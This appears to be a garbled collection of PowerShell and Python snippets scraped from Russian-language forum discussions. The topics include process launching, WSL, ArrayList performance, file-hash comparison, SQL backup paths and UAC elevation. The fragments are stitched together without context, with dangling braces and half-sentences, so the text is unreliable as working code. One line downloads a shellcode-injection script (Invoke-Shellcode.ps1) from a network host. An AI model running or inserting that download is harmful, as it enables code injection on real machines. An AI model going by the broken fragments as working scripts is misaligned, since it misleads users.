Start-Process -FilePath "C:\QUIK_VTB_85\info.exe" -WorkingDirectory "C:\QUIK_VTB_85\"
Start-Process -?
wsl -?
Использование: wsl.exe [Argument] [Options...] [CommandLine]
wsl service cron status
, выдаст вам то что надо| Select-String Active
if (([bool] ($null)) -eq $NetDriveName )
if (-not $NetDriveName) {
net use
}
Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...
Значение нуля означает, что время последнего входа неизвестно.
(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")
Get-ChildItem "C:\Temp\files\*.txt" | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 }
А теперь вопрос, правильно ли я понимаю, что при вводе например первого символа f из foobar фактически в powershell вводятся следующая последовательность: \b\b\b\bfhey1 ?
PS D:\> Write-Host 'tohost' > d:\111
tohost
PS D:\> Get-Content d:\111
PS D:\> Write-Output 'tooutput' > d:\111
PS D:\> Get-Content d:\111
tooutput
PS D:\>
Powershell -Noprofile -Command "Write-Host 'tohost'; Write-Output 'tooutput' " > D:\111
Powershell -Noprofile -Command "Get-Content d:\111"
import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
# Code of your program here
print("I'm admin")
input()
else:
# Re-run the program with admin rights
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
ctypes.windll.shell32.ShellExecuteW(None, "", "slmgr.vbs", "/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX", None, 1)
foreach ($DatabaseName in $MyBase.Name) {
$BackupPath = $smoserver.Databases['msdb'].ExecuteWithResults("SELECT TOP 1 backupmediafamily.physical_device_name FROM backupset JOIN backupmediafamily ON backupset.media_set_id = backupmediafamily.media_set_id WHERE backupset.database_name = '$($DatabaseName)' ORDER BY backupset.backup_start_date DESC")
$BackupPath.Tables[0].physical_device_name
}
return $true
), то записать результат $result = Test-SQLConnection "Data Source=base;database=name;User ID=sa;Password=password;"
#так там будет true/false
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value $result -Force
#а так - 1/0
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value ([int]$result) -Force
if $u = ( $true) {
должно быть if ($u -eq $true) {
или просто if ($u) {
Import-csv
вы никак не ускорите.$dataColl
- реальный кандидат на ускорение...
$dataColl = New-Object System.Collections.ArrayList
foreach ($Path in $Paths){
....
[void]$dataColl.Add($dataObject)
}
}
...
Measure-Command { $a = @(); 1..1000 | %{ $a += $_ } }
TotalMilliseconds : 40,3721
Measure-Command { $a = New-Object System.Collections.ArrayList; 1..1000 | %{ [void]$a.Add($_) } }
TotalMilliseconds : 18,5863
# А для 10000 уже
TotalMilliseconds : 2016,3737
vs
TotalMilliseconds : 57,6177
$oldfile = Get-FileHash .\old\*
$newfile = Get-FileHash .\new\*
Compare-Object $oldfile $newfile -Property Hash -PassThru |
Where-Object { $_.SideIndicator -eq '<=' } |
Foreach-Object { Copy-Item $_.Path -Destination $Destination }
$oldfile = Get-ChildItem .\old\* -Recurse | Get-FileHash
$newfile = Get-ChildItem .\new\* -Recurse | Get-FileHash
..
$row1 = @($buttonsubcheck, $buttonsubtrial)
$row2 = @($buttonsubback)
$buttonssub = ($row1, $row2)
..